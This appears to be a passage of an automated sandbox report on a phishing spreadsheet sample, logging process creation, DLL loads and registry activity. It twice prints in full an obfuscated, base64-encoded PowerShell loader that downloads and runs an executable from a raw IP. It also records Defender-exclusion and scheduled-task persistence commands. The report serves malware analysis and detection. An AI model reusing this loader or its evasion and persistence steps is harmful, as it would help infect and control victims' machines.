Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\sihost.exe "C:\Users\user\AppData\Roaming\sihost.exe"	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D56.tmp" "c:\Users\user\AppData\Local\Temp\d1xzy0xm\CSCCF15997BD6B546CEB43AF983F4CD5CA2.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Users\user\AppData\Roaming\sihost.exe "C:\Users\user\AppData\Roaming\sihost.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmpA3FD.tmp"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: credssp.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\sihost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: credssp.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Section loaded: gpapi.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.pdbhP source: powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.pdb source: powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp

Source: 44330000.0.dr

Initial sample: OLE indicators vbamacros = False

Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx

Initial sample: OLE indicators encrypted = True

Data Obfuscation

.NET source code contains potential unpacker

Source: 12.2.sihost.exe.4335920.4.raw.unpack, v6YiYTTLP0FbJiwAyi.cs

.Net Code: LRoIw11c8S System.Reflection.Assembly.Load(byte[])

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"
